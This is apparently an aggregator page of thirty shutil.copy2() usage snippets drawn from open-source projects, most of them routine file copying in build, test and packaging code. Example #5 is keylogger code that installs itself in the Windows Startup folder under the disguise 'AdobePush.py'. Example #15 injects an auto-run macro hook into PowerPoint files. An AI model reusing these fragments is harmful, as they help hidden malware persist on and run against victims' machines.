Python shutil.copy2() Examples
The following are 30
code examples of shutil.copy2().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
shutil
, or try the search function
.
Example #1
Source File: makeSimilarScripts.py From EXOSIMS with BSD 3-Clause "New" or "Revised" License | 7 votes |
def moveDictFiles(myDict,folderName): """ This Script copies the OB.csv files to the makeSimilar_Template folder """ originalFileNames = list() copiedFileNames = list() for k, v in myDict.iteritems(): if type(v) is dict: tmpOrigList, tmpCopiedList = moveDictFiles(v,folderName) if not tmpOrigList == list(): originalFileNames.append(tmpOrigList) copiedFileNames.append(tmpCopiedList) else: try: if os.path.isfile(v):#Is a file that is located locally fname = 'auto_' + folderName + v shutil.copy2('./' + v,'./' + folderName + '/' + fname) #Here we copy the file to the run directory originalFileNames.append(v) copiedFileNames.append(fname) except: pass return originalFileNames, copiedFileNames
Example #2
Source File: addauser.py From sysadmin-tools with Apache License 2.0 | 6 votes |
def createuser(fn, ln, user, group, homedir): # Create backups ts = strftime("%Y.%m.%d %H:%M:%S") shutil.copy2(pasfile, pasfile + "." + ts) shutil.copy2(shafile, shafile + "." + ts) uid = getuid(user) s = ' '.join(["useradd -c \"%s %s\" -m -d %s " % (fn, ln, homedir), "-u %s -g %s %s 1> /dev/null 2>&1" % (uid, group, user)]) result = subprocess.call(s, shell=True) # Failure? if not result == 0: print red + "Error in creating user %s" % user + end os.remove(pasfile + "." + ts) os.remove(shafile + "." + ts) else: print green + "Created user %s" % user + end return result
Example #3
Source File: deploy.py From picoCTF with MIT License | 6 votes |
def install_user_service(service_file, socket_file): """ Installs the service file and socket file into the xinetd service directory, sets the service to start on boot, and starts the service now. Args: service_file: The path to the systemd service file to install socket_file: The path to the systemd socket file to install """ if service_file is None: return service_name = os.path.basename(service_file) logger.debug("...Installing user service '%s'.", service_name) # copy service file service_path = os.path.join(XINETD_SERVICE_PATH, service_name) shutil.copy2(service_file, service_path)
Example #4
Source File: torrent2http.py From plugin.video.kmediatorrent with GNU General Public License v3.0 | 6 votes |
def get_torrent2http_binary(): binary = "torrent2http%s" % (PLATFORM["os"] == "windows" and ".exe" or "") binary_dir = get_binary_dir() binary_path = os.path.join(binary_dir, binary) platform = PLATFORM.copy() if platform["os"] == "darwin": # 64 bits anyway on Darwin platform["arch"] = "x64" elif platform["os"] == "windows": # 32 bits anyway on Windows platform["arch"] = "x86" default_binary_dir = os.path.join(RESOURCES_PATH, "bin", "%(os)s_%(arch)s" % platform) default_binary_path = os.path.join(default_binary_dir, binary) # On Android, we need to copy torrent2http to ext4, since the sdcard is noexec platform = PLATFORM.copy() if platform["os"] == "android": android_binary_dir = get_binary_dir() android_binary_path = os.path.join(android_binary_dir, binary) if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(default_binary_path): import shutil shutil.copy2(default_binary_path, android_binary_path) binary_path = android_binary_path binary_dir = android_binary_dir return binary_dir, ensure_exec_perms(binary_path)
Example #5
Source File: Radiumkeylogger.py From Radium with Apache License 2.0 | 6 votes |
def copytostartup(): try: #----------------------- originalfilename = "Radiumkeylogger.py" #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py #----------------------- #----------------------- coppiedfilename = 'AdobePush.py' #The file will be copied to startup folder by this name #----------------------- copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//' copyfromdir = currentdir + "\\" + originalfilename filesindir = os.listdir(copytodir) if coppiedfilename not in filesindir: try: shutil.copy2(copyfromdir, copytodir + coppiedfilename) except Exception as e: print e except Exception as e: print e return True #Function to list directories content upto 3 level
Example #6
Source File: test_fixtures.py From Obfuscapk with MIT License | 6 votes |
def tmp_demo_apk_v10_rebuild_path(tmp_path) -> str: """ Return a path to a valid demo apk file generated with Apktool (different path for each test, but the apk file is the same). This can be useful to test signing and aligning. """ source = ( Path(__file__) .resolve() .parent.joinpath( "test_resources", "v1.0", "com.obfuscapk.demo.v1.0-rebuild.apk" ) ) destination = tmp_path.joinpath("com.obfuscapk.demo.v1.0-rebuild.apk") destination = shutil.copy2(source, destination) return str(destination)
Example #7
Source File: dpAutoRig.py From dpAutoRigSystem with GNU General Public License v2.0 | 6 votes |
def keepJsonFilesWhenUpdate(self, currentDir, tempUpdateDir, *args): """ Check in given folder if we have custom json files and keep then when we install a new update. It will just check if there are user created json files, and copy them to temporary extracted update folder. So when the install overwrite all files, they will be copied (restored) again. """ newUpdateList = [] # list all new json files: for newRoot, newDirectories, newFiles in os.walk(tempUpdateDir): for newItem in newFiles: if newItem.endswith('.json'): newUpdateList.append(newItem) # check if some current json file is a custom file created by user to copy it to new update directory in order to avoid overwrite it: for currentRoot, currentDirectories, currentFiles in os.walk(currentDir): for currentItem in currentFiles: if currentItem.endswith('.json'): if not currentItem in newUpdateList: # found custom file, then copy it to keep when install the new update shutil.copy2(os.path.join(currentRoot, currentItem), tempUpdateDir)
Example #8
Source File: file_util.py From OP_Manager with MIT License | 6 votes |
def copytree(src, dst, symlinks=False, ignore=shutil.ignore_patterns('.*', '_*')): """ Copy Entire Folder :param src: source path :param dst: destination path :param symlinks: optional :param ignore: pass shutil.ignore_patterns('.*', '_*') :return: """ for item in os.listdir(src): s = os.path.join(src, item) d = os.path.join(dst, item) if os.path.isdir(s): shutil.copytree(s, d, symlinks, ignore) else: shutil.copy2(s, d)
Example #9
Source File: mhlib.py From meddle with MIT License | 6 votes |
def refilemessages(self, list, tofolder, keepsequences=0): """Refile one or more messages -- may raise os.error. 'tofolder' is an open folder object.""" errors = [] refiled = {} for n in list: ton = tofolder.getlast() + 1 path = self.getmessagefilename(n) topath = tofolder.getmessagefilename(ton) try: os.rename(path, topath) except os.error: # Try copying try: shutil.copy2(path, topath) os.unlink(path) except (IOError, os.error), msg: errors.append(msg) try: os.unlink(topath) except os.error: pass continue tofolder.setlast(ton) refiled[n] = ton
Example #10
Source File: test_pypi.py From release-bot with GNU General Public License v3.0 | 6 votes |
def pypi(self, tmpdir): conf = Configuration() path = str(tmpdir) src = Path(__file__).parent / "src/rlsbot-test" shutil.copy2(str(src / "setup.py"), path) shutil.copy2(str(src / "rlsbot_test.py"), path) self.run_cmd("git init .", work_directory=str(tmpdir)) set_git_credentials(str(tmpdir), "Release Bot", "bot@example.com") self.run_cmd("git add .", work_directory=str(tmpdir)) self.run_cmd("git commit -m 'initial commit'", work_directory=str(tmpdir)) git_repo = Git(str(tmpdir), conf) pypi = PyPi(configuration, git_repo) (flexmock(pypi) .should_receive("upload") .replace_with(lambda x: None)) return pypi
Example #11
Source File: mhlib.py From meddle with MIT License | 6 votes |
def copymessage(self, n, tofolder, ton): """Copy one message over a specific destination message, which may or may not already exist.""" path = self.getmessagefilename(n) # Open it to check that it exists f = open(path) f.close() del f topath = tofolder.getmessagefilename(ton) backuptopath = tofolder.getmessagefilename(',%d' % ton) try: os.rename(topath, backuptopath) except os.error: pass ok = 0 try: tofolder.setlast(None) shutil.copy2(path, topath) ok = 1 finally: if not ok: try: os.unlink(topath) except os.error: pass
Example #12
Source File: test_delocating.py From delocate with BSD 2-Clause "Simplified" License | 6 votes |
def test_copy_recurse_overwrite(): # Check that copy_recurse won't overwrite pre-existing libs with InTemporaryDirectory(): # Get some fixed up libraries to play with os.makedirs('libcopy') test_lib, liba, libb, libc = _copy_fixpath( [TEST_LIB, LIBA, LIBB, LIBC], 'libcopy') # Filter system libs def filt_func(libname): return not libname.startswith('/usr/lib') os.makedirs('subtree') # libb depends on liba shutil.copy2(libb, 'subtree') # If liba is already present, barf shutil.copy2(liba, 'subtree') assert_raises(DelocationError, copy_recurse, 'subtree', filt_func) # Works if liba not present os.unlink(pjoin('subtree', 'liba.dylib')) copy_recurse('subtree', filt_func)
Example #13
Source File: test_converter.py From basset-ios with MIT License | 6 votes |
def test_dont_reconvert_old_files_test(self): converter = Converter() os.chdir(os.path.join(self.converter_tests_resource_path, "dont_reconvert_old_files_test")) converter.input_dir = "Assets" converter.output_dir = self.converter_output_tests_resource_path converter.convert() sha1_of_generated_files = [] sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png"))) sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png"))) shutil.copy2(os.path.join(converter.input_dir, "test-01.eps"), os.path.join(converter.input_dir, "test-02.eps")) converter.convert() sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png"))) sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png"))) self.assertEqual(sha1_of_generated_files[0], sha1_of_generated_files[2]) self.assertNotEqual(sha1_of_generated_files[1], sha1_of_generated_files[3])
Example #14
Source File: ds.py From macops with Apache License 2.0 | 6 votes |
def SyncShadowHash(username, shadow_name): """Sync the password hash for the shadow admin account with the user's.""" shadow_guid = UserAttribute(shadow_name, 'GeneratedUID') user_hash = '/var/db/shadow/hash/%s' % username if not os.path.exists(user_hash): user_guid = UserAttribute(username, 'GeneratedUID')[0] user_hash = '/var/db/shadow/hash/%s' % user_guid shadow_hash = '/var/db/shadow/hash/%s' % shadow_guid[0] try: if (os.path.exists(shadow_hash) and os.path.isfile(shadow_hash) and filecmp.cmp(user_hash, shadow_hash, shallow=False)): # everything is as should be pass else: shutil.copy2(user_hash, shadow_hash) except (IOError, OSError), err: raise DSException('Error creating the shadow admin hash for ' '%s-admin: %s' % (username, err))
Example #15
Source File: ppt_gen.py From macro_pack with Apache License 2.0 | 5 votes |
def _injectCustomUi(self): customUIfile = utils.randomAlpha(8)+".xml" # Generally something like customUI.xml customUiContent = \ """<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="AutoOpen" ></customUI>""" relationShipContent = \ """<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="%s" Type="http://schemas.microsoft.com/office/2007/relationships/ui/extensibility" Target="/customUI/%s" /></Relationships>""" \ % ("rId5", customUIfile) generatedFile = self.outputFilePath # 0 copy file to temp dir fileCopy = shutil.copy2(generatedFile, self.workingPath) # 1 extract zip file in temp working dir zipDir = os.path.join(self.workingPath, "zip") zipTest = ZipFile(fileCopy) zipTest.extractall(zipDir) # 2 Set customUi customUiDir = os.path.join(zipDir, "customUI") if not os.path.exists(customUiDir): os.makedirs(customUiDir) customUiFile = os.path.join(customUiDir, customUIfile) with open (customUiFile, "w") as f: f.write(customUiContent) # 3 Set relationships relsFile = os.path.join(zipDir, "_rels", ".rels") with open (relsFile, "w") as f: f.write(relationShipContent) # 3 Recreate archive shutil.make_archive(os.path.join(self.workingPath,"rezipped_archive"), format="zip", root_dir=os.path.join(self.workingPath, "zip")) # 4 replace file os.remove(generatedFile) shutil.copy2(os.path.join(self.workingPath,"rezipped_archive.zip"), generatedFile)
Example #16
Source File: patches.py From ungoogled-chromium with BSD 3-Clause "New" or "Revised" License | 5 votes |
def _copy_files(path_iter, source, destination): """Copy files from source to destination with relative paths from path_iter""" for path in path_iter: (destination / path).parent.mkdir(parents=True, exist_ok=True) shutil.copy2(str(source / path), str(destination / path))
Example #17
Source File: mhlib.py From meddle with MIT License | 5 votes |
def movemessage(self, n, tofolder, ton): """Move one message over a specific destination message, which may or may not already exist.""" path = self.getmessagefilename(n) # Open it to check that it exists f = open(path) f.close() del f topath = tofolder.getmessagefilename(ton) backuptopath = tofolder.getmessagefilename(',%d' % ton) try: os.rename(topath, backuptopath) except os.error: pass try: os.rename(path, topath) except os.error: # Try copying ok = 0 try: tofolder.setlast(None) shutil.copy2(path, topath) ok = 1 finally: if not ok: try: os.unlink(topath) except os.error: pass os.unlink(path) self.removefromallsequences([n])
Example #18
Source File: package_index.py From python-netsurv with MIT License | 5 votes |
def gen_setup(self, filename, fragment, tmpdir): match = EGG_FRAGMENT.match(fragment) dists = match and [ d for d in interpret_distro_name(filename, match.group(1), None) if d.version ] or [] if len(dists) == 1: # unambiguous ``#egg`` fragment basename = os.path.basename(filename) # Make sure the file has been downloaded to the temp dir. if os.path.dirname(filename) != tmpdir: dst = os.path.join(tmpdir, basename) from setuptools.command.easy_install import samefile if not samefile(filename, dst): shutil.copy2(filename, dst) filename = dst with open(os.path.join(tmpdir, 'setup.py'), 'w') as file: file.write( "from setuptools import setup\n" "setup(name=%r, version=%r, py_modules=[%r])\n" % ( dists[0].project_name, dists[0].version, os.path.splitext(basename)[0] ) ) return filename elif match: raise DistutilsError( "Can't unambiguously interpret project/version identifier %r; " "any dashes in the name or version should be escaped using " "underscores. %r" % (fragment, dists) ) else: raise DistutilsError( "Can't process plain .py files without an '#egg=name-version'" " suffix to enable automatic setup script generation." )
Example #19
Source File: tool.py From Obfuscapk with MIT License | 5 votes |
def align(self, apk_path: str) -> str: # Check if the apk file to align is a valid file. if not os.path.isfile(apk_path): self.logger.error('Unable to find file "{0}"'.format(apk_path)) raise FileNotFoundError('Unable to find file "{0}"'.format(apk_path)) # Since zipalign cannot be run inplace, a temp file will be created. apk_copy_path = "{0}.copy.apk".format( os.path.join( os.path.dirname(apk_path), os.path.splitext(os.path.basename(apk_path))[0], ) ) try: apk_copy_path = shutil.copy2(apk_path, apk_copy_path) align_cmd = [self.zipalign_path, "-v", "-f", "4", apk_copy_path, apk_path] self.logger.info('Running align command "{0}"'.format(" ".join(align_cmd))) output = subprocess.check_output( align_cmd, stderr=subprocess.STDOUT ).strip() return output.decode() except subprocess.CalledProcessError as e: self.logger.error( "Error during align command: {0}".format( e.output.decode(errors="replace") if e.output else e ) ) raise except Exception as e: self.logger.error("Error during aligning: {0}".format(e)) raise finally: # Remove the temp file used for zipalign. if os.path.isfile(apk_copy_path): os.remove(apk_copy_path)
Example #20
Source File: package_index.py From python-netsurv with MIT License | 5 votes |
def gen_setup(self, filename, fragment, tmpdir): match = EGG_FRAGMENT.match(fragment) dists = match and [ d for d in interpret_distro_name(filename, match.group(1), None) if d.version ] or [] if len(dists) == 1: # unambiguous ``#egg`` fragment basename = os.path.basename(filename) # Make sure the file has been downloaded to the temp dir. if os.path.dirname(filename) != tmpdir: dst = os.path.join(tmpdir, basename) from setuptools.command.easy_install import samefile if not samefile(filename, dst): shutil.copy2(filename, dst) filename = dst with open(os.path.join(tmpdir, 'setup.py'), 'w') as file: file.write( "from setuptools import setup\n" "setup(name=%r, version=%r, py_modules=[%r])\n" % ( dists[0].project_name, dists[0].version, os.path.splitext(basename)[0] ) ) return filename elif match: raise DistutilsError( "Can't unambiguously interpret project/version identifier %r; " "any dashes in the name or version should be escaped using " "underscores. %r" % (fragment, dists) ) else: raise DistutilsError( "Can't process plain .py files without an '#egg=name-version'" " suffix to enable automatic setup script generation." )
Example #21
Source File: FS.py From arnold-usd with Apache License 2.0 | 5 votes |
def _copy_func(fs, src, dest): shutil.copy2(src, dest) st = fs.stat(src) fs.chmod(dest, stat.S_IMODE(st[stat.ST_MODE]) | stat.S_IWRITE)
Example #22
Source File: deploy.py From picoCTF with MIT License | 5 votes |
def deploy_files( staging_directory, instance_directory, file_list, username, problem_class ): """ Copies the list of files from the staging directory to the instance directory. Will properly set permissions and setgid files based on their type. """ # get uid and gid for default and problem user user = getpwnam(username) default = getpwnam(shared_config.default_user) for f in file_list: # copy the file over, making the directories as needed output_path = join(instance_directory, f.path) if not os.path.isdir(os.path.dirname(output_path)): os.makedirs(os.path.dirname(output_path)) if not isinstance(f, Directory): if isinstance(f, PreTemplatedFile): file_source = join(staging_directory, "__pre_templated", f.path) else: file_source = join(staging_directory, f.path) shutil.copy2(file_source, output_path) # set the ownership based on the type of file if isinstance(f, ProtectedFile) or isinstance(f, ExecutableFile) or \ isinstance(f, GroupWriteDirectory): os.chown(output_path, default.pw_uid, user.pw_gid) else: uid = default.pw_uid if f.user is None else getpwnam(f.user).pw_uid gid = default.pw_gid if f.group is None else getgrnam(f.group).gr_gid os.chown(output_path, uid, gid) # set the permissions appropriately os.chmod(output_path, f.permissions) if issubclass(problem_class, Service): os.chown(instance_directory, default.pw_uid, user.pw_gid) os.chmod(instance_directory, 0o750)
Example #23
Source File: winbuild.py From rekall with GNU General Public License v2.0 | 5 votes |
def copytree(src, dst, symlinks=False, ignore=None): if not os.path.exists(dst): os.makedirs(dst) for item in os.listdir(src): s = os.path.join(src, item) d = os.path.join(dst, item) if os.path.isdir(s): copytree(s, d, symlinks, ignore) else: if not os.path.exists(d) or os.stat(s).st_mtime - os.stat(d).st_mtime > 1: shutil.copy2(s, d)
Example #24
Source File: darwinbuild.py From rekall with GNU General Public License v2.0 | 5 votes |
def copytree(src, dst, symlinks=False, ignore=None): if not os.path.exists(dst): os.makedirs(dst) for item in os.listdir(src): s = os.path.join(src, item) d = os.path.join(dst, item) if os.path.isdir(s): copytree(s, d, symlinks, ignore) else: if not os.path.exists(d) or os.stat(s).st_mtime - os.stat(d).st_mtime > 1: shutil.copy2(s, d)
Example #25
Source File: utils.py From CausalGAN with MIT License | 5 votes |
def prepare_dirs_and_logger(config): formatter = logging.Formatter("%(asctime)s:%(levelname)s::%(message)s") logger = logging.getLogger() for hdlr in logger.handlers: logger.removeHandler(hdlr) handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) if config.load_path: if config.load_path.startswith(config.log_dir): config.model_dir = config.load_path else: if config.load_path.startswith(config.dataset): config.model_name = config.load_path else: config.model_name = "{}_{}".format(config.dataset, config.load_path) else: config.model_name = "{}_{}".format(config.dataset, get_time()) if not hasattr(config, 'model_dir'): config.model_dir = os.path.join(config.log_dir, config.model_name) config.data_path = os.path.join(config.data_dir, config.dataset) if config.is_train: config.log_code_dir=os.path.join(config.model_dir,'code') for path in [config.log_dir, config.data_dir, config.model_dir, config.log_code_dir]: if not os.path.exists(path): os.makedirs(path) #Copy python code in directory into model_dir/code for future reference: code_dir=os.path.dirname(os.path.realpath(sys.argv[0])) model_files = [f for f in listdir(code_dir) if isfile(join(code_dir, f))] for f in model_files: if f.endswith('.py'): shutil.copy2(f,config.log_code_dir)
Example #26
Source File: vba_gen.py From macro_pack with Apache License 2.0 | 5 votes |
def generate(self): if len(self.getVBAFiles())>0: logging.info(" [+] Analyzing generated VBA files...") if len(self.getVBAFiles())==1: shutil.copy2(self.getMainVBAFile(), self.outputFilePath) logging.info(" [-] Generated VBA file: %s" % self.outputFilePath) else: logging.info(" [!] More then one VBA file generated, files will be copied in same dir as %s" % self.outputFilePath) for vbaFile in self.getVBAFiles(): if vbaFile != self.getMainVBAFile(): shutil.copy2(vbaFile, os.path.join(os.path.dirname(self.outputFilePath),os.path.basename(vbaFile))) logging.info(" [-] Generated VBA file: %s" % os.path.join(os.path.dirname(self.outputFilePath),os.path.basename(vbaFile))) else: shutil.copy2(self.getMainVBAFile(), self.outputFilePath) logging.info(" [-] Generated VBA file: %s" % self.outputFilePath)
Example #27
Source File: _in_process.py From pep517 with MIT License | 5 votes |
def build_wheel(wheel_directory, config_settings, metadata_directory=None): """Invoke the mandatory build_wheel hook. If a wheel was already built in the prepare_metadata_for_build_wheel fallback, this will copy it rather than rebuilding the wheel. """ prebuilt_whl = _find_already_built_wheel(metadata_directory) if prebuilt_whl: shutil.copy2(prebuilt_whl, wheel_directory) return os.path.basename(prebuilt_whl) return _build_backend().build_wheel(wheel_directory, config_settings, metadata_directory)
Example #28
Source File: collecttools.py From resolwe with Apache License 2.0 | 5 votes |
def collect(self): """Get tools' locations and copy them to a single location.""" for app_name, tools_path in get_apps_tools().items(): self.stdout.write("Copying files from '{}'.".format(tools_path)) app_name = app_name.replace(".", "_") app_destination_path = os.path.join(self.destination_path, app_name) if not os.path.isdir(app_destination_path): os.mkdir(app_destination_path) for root, dirs, files in os.walk(tools_path): for dir_name in dirs: dir_source_path = os.path.join(root, dir_name) dir_destination_path = self.change_path_prefix( dir_source_path, tools_path, self.destination_path, app_name ) if not os.path.isdir(dir_destination_path): os.mkdir(dir_destination_path) for file_name in files: file_source_path = os.path.join(root, file_name) file_destination_path = self.change_path_prefix( file_source_path, tools_path, self.destination_path, app_name ) shutil.copy2(file_source_path, file_destination_path)
Example #29
Source File: egg2wheel.py From jbox with MIT License | 5 votes |
def egg2wheel(egg_path, dest_dir): egg_info = egg_info_re.match(os.path.basename(egg_path)).groupdict() dir = tempfile.mkdtemp(suffix="_e2w") if os.path.isfile(egg_path): # assume we have a bdist_egg otherwise egg = zipfile.ZipFile(egg_path) egg.extractall(dir) else: # support buildout-style installed eggs directories for pth in os.listdir(egg_path): src = os.path.join(egg_path, pth) if os.path.isfile(src): shutil.copy2(src, dir) else: shutil.copytree(src, os.path.join(dir, pth)) dist_info = "%s-%s" % (egg_info['name'], egg_info['ver']) abi = 'none' pyver = egg_info['pyver'].replace('.', '') arch = (egg_info['arch'] or 'any').replace('.', '_').replace('-', '_') if arch != 'any': # assume all binary eggs are for CPython pyver = 'cp' + pyver[2:] wheel_name = '-'.join(( dist_info, pyver, abi, arch )) bw = wheel.bdist_wheel.bdist_wheel(distutils.dist.Distribution()) bw.root_is_purelib = egg_info['arch'] is None dist_info_dir = os.path.join(dir, '%s.dist-info' % dist_info) bw.egg2dist(os.path.join(dir, 'EGG-INFO'), dist_info_dir) bw.write_wheelfile(dist_info_dir, generator='egg2wheel') bw.write_record(dir, dist_info_dir) filename = make_archive(os.path.join(dest_dir, wheel_name), 'zip', root_dir=dir) os.rename(filename, filename[:-3] + 'whl') shutil.rmtree(dir)
Example #30
Source File: package_index.py From jbox with MIT License | 5 votes |
def gen_setup(self, filename, fragment, tmpdir): match = EGG_FRAGMENT.match(fragment) dists = match and [ d for d in interpret_distro_name(filename, match.group(1), None) if d.version ] or [] if len(dists)==1: # unambiguous ``#egg`` fragment basename = os.path.basename(filename) # Make sure the file has been downloaded to the temp dir. if os.path.dirname(filename) != tmpdir: dst = os.path.join(tmpdir, basename) from setuptools.command.easy_install import samefile if not samefile(filename, dst): shutil.copy2(filename, dst) filename=dst with open(os.path.join(tmpdir, 'setup.py'), 'w') as file: file.write( "from setuptools import setup\n" "setup(name=%r, version=%r, py_modules=[%r])\n" % ( dists[0].project_name, dists[0].version, os.path.splitext(basename)[0] ) ) return filename elif match: raise DistutilsError( "Can't unambiguously interpret project/version identifier %r; " "any dashes in the name or version should be escaped using " "underscores. %r" % (fragment,dists) ) else: raise DistutilsError( "Can't process plain .py files without an '#egg=name-version'" " suffix to enable automatic setup script generation." )